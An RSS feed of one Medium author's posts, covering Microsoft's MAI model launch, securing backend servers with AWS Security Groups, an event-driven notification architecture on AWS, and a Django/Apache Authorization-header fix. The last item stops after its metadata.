<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by TΞRMTRIX on Medium]]></title>
        <description><![CDATA[Stories by TΞRMTRIX on Medium]]></description>
        <link>https://medium.com/@termtrix?source=rss-66954bf63d4e------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*0srMzjmAWJRv2XGa0EQlIg.png</url>
            <title>Stories by TΞRMTRIX on Medium</title>
            <link>https://medium.com/@termtrix?source=rss-66954bf63d4e------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Thu, 19 Nov 2026 12:57:08 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@termtrix/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Microsoft’s MAI Push: Seven Models, One Message About Cost]]></title>
            <link>https://medium.com/@termtrix/microsofts-mai-push-seven-models-one-message-about-cost-39abca495b56?source=rss-66954bf63d4e------2</link>
            <guid isPermaLink="false">https://medium.com/p/39abca495b56</guid>
            <category><![CDATA[agents]]></category>
            <category><![CDATA[llm]]></category>
            <category><![CDATA[ai]]></category>
            <category><![CDATA[model]]></category>
            <category><![CDATA[build-ai-agents]]></category>
            <dc:creator><![CDATA[TΞRMTRIX]]></dc:creator>
            <pubDate>Wed, 18 Nov 2026 09:16:48 GMT</pubDate>
            <atom:updated>2026-11-18T09:16:48.760Z</atom:updated>
            <content:encoded><![CDATA[<p><em>Published November 18, 2026 · Based on coverage of Microsoft Ignite, November 17</em></p><p>At Ignite in San Francisco, Microsoft announced a series of in-house AI models, including the coding model MAI Code 2 and a security-focused model, aimed directly at Anthropic and OpenAI. The headline isn’t a single breakthrough. It’s a pricing argument: frontier-ish performance at a fraction of the cost.</p><h3>The lineup</h3><p>The release covers coding, security, images, speech and routing:</p><ul><li><strong>MAI Code 2 and Code 2 Flash</strong> for coding. Flash handles routine work like explaining code, making edits and everyday debugging.</li><li><strong>MAI Cyber 2 Flash</strong> for continuous monitoring, vulnerability scanning and patching.</li><li><strong>MAI Image 2.7</strong> for image generation and editing, plus a Flash variant for high-volume use.</li><li><strong>MAI Realtime 1</strong> for low-latency voice conversation.</li><li><strong>MAI Transcribe 2</strong> for multilingual transcription.</li><li><strong>Decision 1.1</strong>, a router that picks which model should handle a task.</li></ul><p>Some outlets count six MAI models; the Decision 1.1 router makes it seven.</p><h3>The cost claims</h3><p>The boldest claim is about coding. Microsoft says Code 2 delivered 96% of Claude Opus 5.5’s performance at about 5% of the cost per task. For the cheaper tier, Code 2 Flash is said to perform close to GPT-6 Luna and Claude Haiku 5.5 at roughly 65% and 20% of their respective task costs.</p><p>Security shows a similar pattern. On the CyberGym-E2E benchmark, Cyber 2 Flash scored 92.3%, against 91.5% for GPT-6 Astra. Microsoft says it completes the same tasks for under 2% of the cost, and its output token price is 86% lower than the previous Cyber 1.1 Flash.</p><p>The other models follow the same story:</p><ul><li>MAI Image 2.7 reportedly tops the Artificial Analysis image-editing leaderboard at one-fifth the price of its closest competitor.</li><li>MAI Realtime 1 is claimed to beat OpenAI’s GPT-Realtime 2.1, with audio processing from as little as $0.01 per minute.</li></ul><h3>Routing and the speech model in production</h3><p>Decision 1.1 may be the most practical piece for developers. It routes each task to a suitable model so expensive large models aren’t used for everything. Microsoft says 4,000 customers already use it, and that it is 50 times faster than GPT-Sol 6.1 at about 1/79 of the cost.</p><p>Transcription already has a real-world deployment. Dragon Copilot Transcribe, built on MAI-Transcribe-2, handles around 10 million doctor-patient interactions a month, and Microsoft says roughly a third of US physicians use it.</p><h3>Read the fine print</h3><p>Treat the numbers with some skepticism. The coverage notes that the performance figures come from benchmarks Microsoft chose itself and are calculated at launch prices that are half the normal rate. Another report says the promotional pricing is temporary and the costs of Code 2 and Code 2 Flash double after May 17, 2027.</p><p>This also isn’t Microsoft’s first MAI wave. At Build 2026, it introduced MAI-Thinking-1, MAI-Code-1-Flash, MAI-Image-2.5, MAI-Transcribe-1.5 and MAI-Voice-2. Ignite is a second, faster iteration, which suggests a steady cadence rather than a one-off.</p><h3>What it means for builders</h3><p>If you build with LLMs, the useful takeaway is architectural. Routing cheap, specialized models for routine work and reserving expensive models for hard problems is becoming the default pattern. Microsoft is now selling that pattern as a product, and it’s pushing the price floor down for everyone, whichever vendor you use.</p><p>Before switching anything, run these models on your own workloads. Vendor benchmarks tell you where a model can win, not whether it wins on your code, your logs or your audio.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=39abca495b56" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Securing Backend Servers Behind an Nginx Load Balancer with AWS Security Groups]]></title>
            <link>https://medium.com/@termtrix/securing-backend-servers-behind-an-nginx-load-balancer-with-aws-security-groups-c0a7117dfb71?source=rss-66954bf63d4e------2</link>
            <guid isPermaLink="false">https://medium.com/p/c0a7117dfb71</guid>
            <category><![CDATA[lbs]]></category>
            <category><![CDATA[aws]]></category>
            <category><![CDATA[aws-security-group]]></category>
            <category><![CDATA[nginx]]></category>
            <category><![CDATA[load-balancer]]></category>
            <dc:creator><![CDATA[TΞRMTRIX]]></dc:creator>
            <pubDate>Wed, 28 Oct 2026 10:41:01 GMT</pubDate>
            <atom:updated>2026-10-28T10:41:01.673Z</atom:updated>
            <content:encoded><![CDATA[<p>When deploying a backend application across multiple servers, implementing a load balancer is an important step toward building a scalable architecture. However, distributing traffic efficiently is only half the job. We must also ensure that application servers cannot be accessed directly by unauthorized clients.</p><p>In this blog, let’s explore how to secure three backend servers behind a dedicated Nginx load balancer using AWS Security Groups.</p><h3>1. The Architecture</h3><p>Imagine we have three application servers running Django or FastAPI applications on port 8000 and a separate EC2 instance running Nginx.</p><p>Our architecture looks like this:</p><pre>Internet<br>                      |<br>                      v<br>             Nginx Load Balancer<br>               Public IP: X.X.X.X<br>               Ports: 80 / 443<br>                      |<br>          +-----------+-----------+<br>          |           |           |<br>          v           v           v<br>       App-01      App-02      App-03<br>      :8000       :8000       :8000<br>    10.0.1.11   10.0.1.12   10.0.1.13</pre><p>The load balancer receives incoming HTTP/HTTPS requests and forwards them to one of the application servers.</p><p>But there is a potential security problem.</p><p>What happens if someone discovers an application’s public IP address and tries to access http://PUBLIC_IP:8000 directly?</p><p>If port 8000 is publicly accessible, the attacker could bypass the load balancer and reach the application directly.</p><p>We need to prevent that.</p><h3>2. Why Should Application Ports Remain Private?</h3><p>A load balancer is intended to be the public entry point for our application. Backend servers should accept traffic only from authorized infrastructure.</p><p>If application ports are exposed publicly, several problems can arise:</p><ul><li>Attackers may bypass security controls implemented at the load balancer.</li><li>Rate limits and request filtering at the load balancer can be bypassed.</li><li>The backend’s attack surface becomes unnecessarily large.</li><li>Internal services may be exposed to unauthorized requests.</li></ul><p>A reverse proxy does not automatically protect the servers behind it. Access restrictions must be enforced at the network level.</p><h3>3. Use AWS Security Groups to Restrict Access</h3><p>AWS Security Groups act as virtual firewalls for EC2 instances and other supported AWS resources.</p><p>We can create two Security Groups:</p><p><strong>SG-LoadBalancer</strong></p><p>Attach this Security Group to the EC2 instance running Nginx.</p><p>Example inbound rules:</p><p>ProtocolPortSourceTCP800.0.0.0/0TCP4430.0.0.0/0TCP22Trusted administrative IP only</p><p>Ports 80 and 443 allow public HTTP/HTTPS traffic. SSH should be restricted to trusted administrative access, or managed through a service such as AWS Systems Manager.</p><p><strong>SG-Application</strong></p><p>Attach this Security Group to all three application servers.</p><p>Example inbound rules:</p><p>ProtocolPortSourceTCP8000SG-LoadBalancerTCP22Trusted administrative access only</p><p>The important rule is the first one: port 8000 accepts traffic from the load balancer&#39;s Security Group rather than from the entire internet.</p><p>Security Groups deny inbound traffic by default unless an applicable rule permits it. Therefore, we should also remove any existing rule that allows port 8000 from 0.0.0.0/0 or another unnecessarily broad source.</p><h3>4. Why Reference a Security Group Instead of an IP Address?</h3><p>One option is to allow the load balancer’s private IP address:</p><pre>Port: 8000<br>Source: 10.0.1.10/32</pre><p>The /32 CIDR specifies one IPv4 address.</p><p>This works, but it can become inconvenient if the load balancer’s private IP changes.</p><p>A more flexible approach is to reference its Security Group:</p><pre>Port: 8000<br>Source: SG-LoadBalancer</pre><p>AWS evaluates the source Security Group against the network interfaces associated with that group. This avoids maintaining an individual IP allowlist when the load balancer’s private address changes, provided the instances are in compatible networking configurations.</p><p>For production deployments, Security Group references are generally easier to maintain than manually managed IP-based rules.</p><h3>5. What Happens When Someone Tries to Access the Backend Directly?</h3><p>Let’s consider three scenarios.</p><p><strong>Scenario 1: A legitimate request</strong></p><p>A user accesses:</p><pre>https://api.example.com</pre><p>DNS resolves to the load balancer. Nginx receives the request and forwards it to an authorized backend server on port 8000.</p><p>The request succeeds.</p><p><strong>Scenario 2: A direct request from the internet</strong></p><p>Someone attempts to access:</p><pre>http://PUBLIC_APP_IP:8000</pre><p>The connection is blocked by the Security Group if no applicable inbound rule permits it. If the backend has no public IP and no public route, it also cannot be reached directly through that public address.</p><p><strong>Scenario 3: A request from the load balancer</strong></p><p>Nginx connects to:</p><pre>http://10.0.1.12:8000</pre><p>The connection succeeds because the source is authorized by SG-Application.</p><p>This gives us a controlled traffic path without exposing the application port to the public internet.</p><h3>6. Additional Security Best Practices</h3><p>Security Groups are an important layer, but they should not be the only protection.</p><p>For a production deployment, consider these practices:</p><ul><li><strong>Private networking:</strong> Place application servers in private subnets without public IP addresses wherever possible.</li><li><strong>HTTPS:</strong> Terminate TLS at Nginx or a managed load balancer. Use appropriate encryption for backend traffic when required by your security model.</li><li><strong>Application authentication:</strong> Continue enforcing authentication, authorization, and input validation within the backend.</li><li><strong>Health checks:</strong> Monitor backend availability and remove unhealthy instances from traffic distribution.</li><li><strong>Administrative access:</strong> Restrict SSH and consider AWS Systems Manager Session Manager.</li><li><strong>High availability:</strong> Avoid making a single Nginx EC2 instance a permanent single point of failure for a critical service.</li><li><strong>Monitoring:</strong> Use VPC Flow Logs, application logs, and infrastructure monitoring to investigate suspicious activity.</li></ul><h3>Conclusion</h3><p>Building a load-balanced architecture is not just about distributing requests across multiple servers. It is also about controlling which systems are allowed to communicate with one another.</p><p>By using a dedicated Nginx load balancer and AWS Security Groups, we can expose only the necessary public ports while restricting backend application ports to authorized traffic.</p><p>The key principle is simple:</p><p><strong>Make the load balancer public, keep backend servers private, and allow application traffic only from trusted infrastructure.</strong></p><p>This is a foundational network security practice for building scalable and secure backend systems.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c0a7117dfb71" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Designing a Scalable Notification System with FastAPI, SQS, Lambda, and Event-Driven Architecture]]></title>
            <link>https://medium.com/@termtrix/designing-a-scalable-notification-system-with-fastapi-sqs-lambda-and-event-driven-architecture-0c350822f526?source=rss-66954bf63d4e------2</link>
            <guid isPermaLink="false">https://medium.com/p/0c350822f526</guid>
            <category><![CDATA[sqs]]></category>
            <category><![CDATA[aws]]></category>
            <category><![CDATA[event-driven-architecture]]></category>
            <category><![CDATA[notification-system]]></category>
            <category><![CDATA[distributed-systems]]></category>
            <dc:creator><![CDATA[TΞRMTRIX]]></dc:creator>
            <pubDate>Mon, 12 Oct 2026 04:12:12 GMT</pubDate>
            <atom:updated>2026-10-12T04:12:12.001Z</atom:updated>
            <content:encoded><![CDATA[<p>Modern applications rarely send notifications directly from the API request. Sending an SMS, email, push notification, or WhatsApp message can involve external APIs, retries, rate limits, network failures, and unpredictable processing times.</p><p>A better approach is to <strong>separate accepting a notification request from actually delivering it</strong>.</p><p>This article explains an architecture using <strong>FastAPI, Amazon SQS, AWS Lambda, and event-driven routing</strong> that can scale toward millions of notification requests while remaining resilient and manageable.</p><h3>1. The Problem with Synchronous Notifications</h3><p>Consider a simple FastAPI endpoint:</p><pre>@app.post(&quot;/send-notification&quot;)<br>async def send_notification(request: NotificationRequest):<br><br>    send_sms(<br>        request.phone,<br>        request.message<br>    )<br><br>    return {<br>        &quot;status&quot;: &quot;sent&quot;<br>    }</pre><p>It looks simple, but there are several problems.</p><p>The API request now depends on the SMS provider:</p><pre>Client<br>  ↓<br>FastAPI<br>  ↓<br>SMS Provider<br>  ↓<br>Response</pre><p>What happens if the provider takes 5 seconds?</p><p>Your API request waits.</p><p>What happens if the provider is temporarily unavailable?</p><p>Your API fails.</p><p>What happens if 100,000 requests arrive simultaneously?</p><p>Your API servers suddenly have to deal with 100,000 external operations.</p><p>The API layer should ideally <strong>accept the work</strong>, rather than perform all of the work synchronously.</p><h3>2. Move the Work into a Queue</h3><p>The first improvement is to introduce Amazon SQS.</p><pre>Client<br>  ↓<br>FastAPI<br>  ↓<br>SQS<br>  ↓<br>Worker<br>  ↓<br>Notification Provider</pre><p>FastAPI receives the request and puts a message into SQS.</p><p>For example:</p><pre>{<br>  &quot;notification_id&quot;: &quot;ntf_12345&quot;,<br>  &quot;channel&quot;: &quot;sms&quot;,<br>  &quot;recipient&quot;: &quot;+919876543210&quot;,<br>  &quot;message&quot;: &quot;Your scan is complete&quot;<br>}</pre><p>FastAPI can respond quickly:</p><pre>{<br>  &quot;status&quot;: &quot;queued&quot;,<br>  &quot;notification_id&quot;: &quot;ntf_12345&quot;<br>}</pre><p>The actual delivery happens asynchronously.</p><p>This immediately gives us an important property:</p><blockquote><strong><em>The API and notification delivery are decoupled.</em></strong></blockquote><h3>3. Where Does Lambda Come In?</h3><p>AWS Lambda can act as the worker.</p><pre>                 SQS<br>                  │<br>                  ▼<br>              AWS Lambda<br>                  │<br>                  ▼<br>           SMS/Email Provider</pre><p>Lambda receives messages from SQS and executes the notification-processing code.</p><p>For example:</p><pre>def lambda_handler(event, context):<br><br>    for record in event[&quot;Records&quot;]:<br><br>        notification = json.loads(<br>            record[&quot;body&quot;]<br>        )<br><br>        send_sms(<br>            notification[&quot;recipient&quot;],<br>            notification[&quot;message&quot;]<br>        )</pre><p>Lambda is particularly useful here because the worker doesn’t need to run continuously.</p><p>When there are no jobs:</p><pre>SQS<br> │<br> └── no messages</pre><pre>Lambda<br> │<br> └── no active processing</pre><p>When thousands of jobs arrive:</p><pre>SQS<br> │<br> ├── Job 1<br> ├── Job 2<br> ├── Job 3<br> ├── ...<br> └── Job N<br>       ↓<br>    Lambda</pre><p>AWS can scale Lambda execution according to the workload and configured concurrency limits.</p><h3>4. Supporting Multiple Notification Channels</h3><p>A real notification platform won’t only send SMS.</p><p>You might support:</p><ul><li>SMS</li><li>Email</li><li>Push notifications</li><li>WhatsApp</li><li>Slack</li><li>Webhooks</li></ul><p>A common mistake is creating one huge worker:</p><pre>if channel == &quot;sms&quot;:<br>   ... <br>elif channel == &quot;email&quot;:   <br>   ...<br>elif channel == &quot;push&quot;:   <br>   ...<br>elif channel == &quot;whatsapp&quot;:   <br>   ...</pre><p>This can become difficult to maintain.</p><p>Instead, separate the processing paths.</p><pre>                    Notification API<br>                           │<br>                           ▼<br>                       Router<br>                           │<br>             ┌─────────────┼─────────────┐<br>             ▼             ▼             ▼<br>          SMS Queue     Email Queue    Push Queue<br>             │             │             │<br>             ▼             ▼             ▼<br>         SMS Lambda    Email Lambda   Push Lambda<br>             │             │             │<br>             ▼             ▼             ▼<br>          SMS API       Email API      Push API</pre><p>Now each notification channel can scale independently.</p><h3>5. Where EventBridge Can Help</h3><p>For a larger system, you can introduce Amazon EventBridge as the event-routing layer.</p><p>The architecture becomes:</p><pre>FastAPI<br>   │<br>   ▼<br>EventBridge<br>   │<br>   ├── SMS event ──→ SMS SQS<br>   │<br>   ├── Email event → Email SQS<br>   │<br>   └── Push event ─→ Push SQS</pre><p>For example, FastAPI publishes:</p><pre>{<br>  &quot;source&quot;: &quot;termtrix.notifications&quot;,<br>  &quot;detail-type&quot;: &quot;notification.requested&quot;,<br>  &quot;detail&quot;: {<br>    &quot;channel&quot;: &quot;sms&quot;,<br>    &quot;recipient&quot;: &quot;+919876543210&quot;,<br>    &quot;message&quot;: &quot;Your scan is complete&quot;<br>  }<br>}</pre><p>EventBridge can route the event based on attributes such as:</p><pre>channel = sms</pre><p>or:</p><pre>channel = email</pre><p>This makes the architecture easier to extend.</p><p>Adding a new notification channel doesn’t necessarily require modifying the existing notification workers.</p><h3>6. Why Use SQS After EventBridge?</h3><p>It might seem unnecessary:</p><pre>FastAPI<br> ↓<br>EventBridge<br> ↓<br>SQS<br> ↓<br>Lambda</pre><p>But these services solve different problems.</p><h3>EventBridge</h3><p>Responsible primarily for:</p><blockquote><strong><em>Where should this event go?</em></strong></blockquote><h3>SQS</h3><p>Responsible primarily for:</p><blockquote><strong><em>How do we reliably buffer and process this work?</em></strong></blockquote><p>For example:</p><pre>10,000 email events<br>        ↓<br>    EventBridge<br>        ↓<br>    Email SQS<br>        ↓<br>    Lambda workers</pre><p>If the email provider becomes slow, the queue can hold the pending work rather than forcing the API to fail.</p><h3>7. Can This Handle Millions of Requests?</h3><p>Potentially, yes.</p><p>But <strong>millions of requests does not mean millions of messages should be sent simultaneously</strong>.</p><p>Suppose your system receives:</p><pre>1,000,000 notifications</pre><p>You could accept them quickly:</p><pre>1,000,000 requests<br>                         │<br>                         ▼<br>                       SQS<br>                         │<br>                         ▼<br>                  Lambda workers<br>                         │<br>                         ▼<br>                  External provider</pre><p>The queue absorbs the burst.</p><p>The workers process messages according to:</p><ul><li>Lambda concurrency</li><li>provider rate limits</li><li>application limits</li><li>account quotas</li><li>downstream capacity</li></ul><p>This is a fundamental distributed-systems principle:</p><blockquote><strong><em>Separate ingestion rate from processing rate.</em></strong></blockquote><h3>8. External Providers Become the Bottleneck</h3><p>Suppose your SMS provider allows:</p><pre>1,000 SMS / second</pre><p>Your Lambda infrastructure might theoretically process much more than that.</p><p>But you must respect the provider’s limit.</p><p>Therefore:</p><pre>SQS<br> ↓<br>Lambda<br> ↓<br>Rate Limiter<br> ↓<br>SMS Provider</pre><p>The queue acts as a buffer.</p><p>If 100,000 messages arrive but the provider can only process 1,000/sec:</p><pre>Incoming:</pre><pre>100,000<br>   ↓<br> SQS<br>   ↓<br>~1,000/sec<br>   ↓<br>Provider</pre><p>The remaining messages wait in SQS.</p><p>This is much safer than overwhelming the provider.</p><h3>9. Retries and Dead-Letter Queues</h3><p>Distributed systems fail.</p><p>For example:</p><pre>Lambda<br>  ↓<br>Email Provider<br>  ↓<br>HTTP 500</pre><p>You shouldn’t immediately lose the notification.</p><p>The message can be retried.</p><p>If it repeatedly fails:</p><pre>SQS<br> │<br> ▼<br>Lambda<br> │<br> ├── Success → Completed<br> │<br> └── Repeated failure<br>          │<br>          ▼<br>         DLQ</pre><p>A <strong>Dead-Letter Queue (DLQ)</strong> gives you a place to inspect messages that could not be processed successfully after the configured retry policy.</p><p>This is extremely useful operationally.</p><h3>10. Idempotency Is Critical</h3><p>One of the most important concepts in notification systems is <strong>idempotency</strong>.</p><p>Imagine:</p><pre>Notification ID: ntf_123</pre><p>Lambda sends the SMS successfully:</p><pre>Lambda<br> ↓<br>SMS Provider<br> ↓<br>SUCCESS</pre><p>But Lambda crashes before the message is acknowledged.</p><p>The message could be processed again.</p><pre>Lambda<br> ↓<br>SMS Provider<br> ↓<br>SMS sent again</pre><p>The user receives duplicate messages.</p><p>To prevent this, generate a unique notification ID:</p><pre>{<br>  &quot;notification_id&quot;: &quot;ntf_123&quot;,<br>  &quot;channel&quot;: &quot;sms&quot;,<br>  &quot;recipient&quot;: &quot;+919876543210&quot;<br>}</pre><p>Before sending, the worker checks whether:</p><pre>ntf_123</pre><p>has already been processed.</p><p>A persistent store such as DynamoDB or PostgreSQL can maintain these records.</p><p>Conceptually:</p><pre>Lambda<br>  │<br>  ▼<br>Check notification_id<br>  │<br>  ├── Already processed → Skip<br>  │<br>  └── Not processed<br>          │<br>          ▼<br>       Send<br>          │<br>          ▼<br>     Mark processed</pre><p>This protects against duplicate delivery.</p><h3>11. What Does the Final Architecture Look Like?</h3><p>A production-oriented design could look like this:</p><pre>                         ┌───────────────┐<br>                         │    Clients    │<br>                         └───────┬───────┘<br>                                 │<br>                                 ▼<br>                         ┌───────────────┐<br>                         │    FastAPI    │<br>                         │   API Layer   │<br>                         └───────┬───────┘<br>                                 │<br>                                 ▼<br>                         ┌───────────────┐<br>                         │  EventBridge  │<br>                         │    Router     │<br>                         └───────┬───────┘<br>                                 │<br>                ┌────────────────┼────────────────┐<br>                │                │                │<br>                ▼                ▼                ▼<br>           ┌─────────┐      ┌─────────┐      ┌─────────┐<br>           │ SMS SQS │      │Email SQS│      │Push SQS │<br>           └────┬────┘      └────┬────┘      └────┬────┘<br>                │                │                │<br>                ▼                ▼                ▼<br>           ┌─────────┐      ┌─────────┐      ┌─────────┐<br>           │  Lambda │      │ Lambda  │      │ Lambda  │<br>           │   SMS   │      │  Email  │      │  Push   │<br>           └────┬────┘      └────┬────┘      └────┬────┘<br>                │                │                │<br>                ▼                ▼                ▼<br>           SMS Provider     Email Provider    Push Provider</pre><p>Supporting components:</p><pre>            Lambda Workers<br>                  │<br>        ┌─────────┴──────────┐<br>        ▼                    ▼<br>  Idempotency Store         DLQ<br>        │<br>        ▼<br>   Notification DB<br><br>        +<br>    CloudWatch<br>    Monitoring</pre><h3>12. Why This Architecture Scales</h3><p>The major advantage isn’t simply that Lambda “scales.”</p><p>It’s the <strong>decoupling</strong>.</p><p>The API doesn’t need to know how quickly SMS is delivered.</p><pre>API<br> │<br> └── Accept request<br>       ↓<br>     Queue<br>       ↓<br>    Workers<br>       ↓<br>   Provider</pre><p>Each component has a focused responsibility.</p><h3>FastAPI</h3><p>Handles:</p><ul><li>authentication</li><li>validation</li><li>API requests</li><li>creating notification jobs</li></ul><h3>EventBridge</h3><p>Handles:</p><ul><li>event routing</li></ul><h3>SQS</h3><p>Handles:</p><ul><li>buffering</li><li>decoupling</li><li>reliable message delivery</li><li>smoothing traffic spikes</li></ul><h3>Lambda</h3><p>Handles:</p><ul><li>notification processing</li><li>provider API calls</li><li>business logic</li></ul><h3>Database</h3><p>Handles:</p><ul><li>notification state</li><li>idempotency</li><li>delivery records</li></ul><h3>DLQ</h3><p>Handles:</p><ul><li>failed messages requiring investigation/reprocessing</li></ul><h3>13. This Is More Than a Notification System</h3><p>The same architecture can be used for many asynchronous workloads.</p><p>For example, a TermTrix platform could use:</p><pre>FastAPI<br>   │<br>   ▼<br>Event<br>   │<br>   ├── Security scan<br>   ├── Notification<br>   ├── Report generation<br>   ├── Log processing<br>   ├── AI analysis<br>   └── Email delivery</pre><p>Each workload can have its own queue and workers.</p><p>This is the same fundamental idea behind many large distributed systems:</p><blockquote><strong><em>Accept work quickly, persist it durably, process it asynchronously, and scale consumers independently.</em></strong></blockquote><h3>Conclusion</h3><p>A scalable notification architecture doesn’t try to send every notification directly from the API.</p><p>Instead, it separates <strong>request ingestion, event routing, queuing, processing, and delivery</strong>:</p><pre>Client<br>  ↓<br>FastAPI<br>  ↓<br>EventBridge<br>  ↓<br>SQS<br>  ↓<br>Lambda<br>  ↓<br>Provider</pre><p>When you add retries, DLQs, idempotency, rate limiting, monitoring, and independent queues for different channels, the system becomes capable of handling very large traffic bursts without forcing your API servers to perform all the work synchronously.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=0c350822f526" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Fixing “Authentication credentials were not provided” in Django with Apache: Understanding…]]></title>
            <link>https://medium.com/@termtrix/fixing-authentication-credentials-were-not-provided-in-django-with-apache-understanding-7eee001fc50d?source=rss-66954bf63d4e------2</link>
            <guid isPermaLink="false">https://medium.com/p/7eee001fc50d</guid>
            <category><![CDATA[apache2]]></category>
            <category><![CDATA[authorization]]></category>
            <category><![CDATA[django]]></category>
            <category><![CDATA[rest-api]]></category>
            <category><![CDATA[django-rest-framework]]></category>
            <dc:creator><![CDATA[TΞRMTRIX]]></dc:creator>
            <pubDate>Tue, 06 Oct 2026 10:09:07 GMT</pubDate>
            <atom:updated>2026-10-06T10:09:07.097Z</atom:updated>
            <content:encoded><![CDATA[<h3>Fixing “Authentication credentials were not provided” in Django with Apache: Understanding WSGIPassAuthorization On</h3><p>You build a Django REST Framework API with token or API-key authentication. It works perfectly on your laptop. You deploy it behind Apache and mod_wsgi, and suddenly every authenticated request fails:</p><p>json</p><pre>{    &quot;detail&quot;: &quot;Authentication credentials were not provided.&quot;}</pre><p>The client is sending the credentials. Your code hasn’t changed. So what went wrong?</p><p>The cause is usually a single missing line in your Apache configuration: WSGIPassAuthorization On.</p><h3>The Problem</h3><p>A client sends a request like this:</p><p>http</p><pre>GET /api/status/Authorization: Api-Key abc123</pre><p>Inside your Django view, you check for the header:</p><p>python</p><pre>request.META.get(&quot;HTTP_AUTHORIZATION&quot;)</pre><p>Instead of Api-Key abc123, you get:</p><p>python</p><pre>None</pre><p>Django REST Framework reads credentials from this header. If it’s missing, DRF treats the request as unauthenticated, and you get a 401 or 403 response, even though the client did send valid credentials.</p><h3>Why This Happens</h3><p>When you run Django with python manage.py runserver, the request goes straight from the client to Django, so every header arrives intact.</p><p>In production, there is an extra layer:</p><pre>Client → Apache → mod_wsgi → Django → DRF</pre><p>Apache receives the request first. By default, mod_wsgi does <strong>not</strong> pass the Authorization header to the WSGI application. This is intentional: Apache has its own authentication modules (Basic Auth, Digest Auth, and so on) that use this header, so mod_wsgi assumes Apache may be handling authentication itself and withholds the header from your app as a security precaution.</p><p>If your application handles authentication (as DRF does with tokens, API keys, or JWTs), you have to tell mod_wsgi to forward the header.</p><h3>The Solution</h3><p>Add this directive to your Apache configuration:</p><p>apache</p><pre>WSGIPassAuthorization On</pre><h4>Full Example</h4><p>apache</p><pre>&lt;VirtualHost *:443&gt;   <br> ServerName example.com  <br> WSGIDaemonProcess myproject python-path=/home/ubuntu/myproject   <br> WSGIProcessGroup myproject    <br> WSGIScriptAlias / /home/ubuntu/myproject/myproject/wsgi.py<br>  <br> WSGIPassAuthorization On<br>  <br> &lt;Directory /home/ubuntu/myproject/myproject&gt;       <br> &lt;Files wsgi.py&gt;Require all granted &lt;/Files&gt;    <br>&lt;/Directory&gt;<br>&lt;/VirtualHost&gt;</pre><p>After editing the config, test it and reload Apache:</p><p>bash</p><pre>sudo apache2ctl configtest <br>sudo systemctl reload apache2</pre><h3>How the Request Flows</h3><pre>Client<br>   │<br>   │  Authorization: Api-Key abc123<br>   ▼<br>Apache<br>   │<br>   │  WSGIPassAuthorization On   ← header is forwarded<br>   ▼<br>mod_wsgi<br>   │<br>   ▼<br>Django / Django REST Framework<br>   │<br>   ▼<br>Authentication succeeds</pre><p>Without the directive, the header is dropped at the mod_wsgi step and never reaches Django.</p><h3>Verifying the Fix</h3><p>You can confirm the header is arriving by checking request.META in a view:</p><p>python</p><pre>authorization = request.META.get(&quot;HTTP_AUTHORIZATION&quot;)<br>print(&quot;Authorization header present:&quot;, bool(authorization))</pre><p><strong>Before</strong> enabling the directive:</p><pre>Authorization header present: False</pre><p><strong>After</strong> enabling it:</p><pre>Authorization header present: True</pre><blockquote><strong><em>Security tip:</em></strong><em> Never log the actual token or API key in production. Check whether the header exists (as above) rather than printing its value.</em></blockquote><h3>A Classic Symptom: “It Works Locally but Fails in Production”</h3><p>This is the most common way the issue shows up.</p><p>Environment Request path Result Local Client → Django dev server → DRF Works Production Client → Apache → mod_wsgi → Django → DRF 401/403</p><p>If your API behaves differently between local and production and the only difference is Apache sitting in front, check whether the Authorization header is reaching Django.</p><h3>Troubleshooting Checklist</h3><ol><li><strong>Is the directive in the right place?</strong> WSGIPassAuthorization can be set at server, virtual host, or directory level. Placing it inside the &lt;VirtualHost&gt; block is the safest choice.</li><li><strong>Did you reload Apache?</strong> Config changes don’t take effect until you reload or restart.</li><li><strong>Is another proxy involved?</strong> If you use Nginx or a load balancer in front of Apache, make sure it forwards the Authorization header too.</li><li><strong>Does your DRF setting match the header format?</strong> For example, Api-Key abc123 requires a library that expects the Api-Key keyword, while built-in token auth expects Token abc123.</li></ol><h3>Conclusion</h3><p>WSGIPassAuthorization On is a small setting that solves a confusing problem. Key takeaways:</p><ul><li>Apache with mod_wsgi does not forward the Authorization header to your app by default.</li><li>Django REST Framework relies on that header for token, API-key, and similar authentication.</li><li>Adding WSGIPassAuthorization On passes the header through to Django.</li><li>The directive does not authenticate anything itself. It only lets the header reach your application, where Django/DRF does the actual authentication.</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7eee001fc50d" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Your Data Pipeline Has 20 Jobs. Who Runs Them?]]></title>
            <link>https://medium.com/@termtrix/your-data-pipeline-has-20-jobs-who-runs-them-7ad02e2db16c?source=rss-66954bf63d4e------2</link>
            <guid isPermaLink="false">https://medium.com/p/7ad02e2db16c</guid>
            <category><![CDATA[apache-airflow]]></category>
            <category><![CDATA[workflow-automation]]></category>
            <category><![CDATA[backend-engineering]]></category>
            <category><![CDATA[etl]]></category>
            <category><![CDATA[data-engineering-tools]]></category>
            <dc:creator><![CDATA[TΞRMTRIX]]></dc:creator>
            <pubDate>Thu, 24 Sep 2026 06:29:27 GMT</pubDate>
            <atom:updated>2026-09-24T06:29:27.308Z</atom:updated>
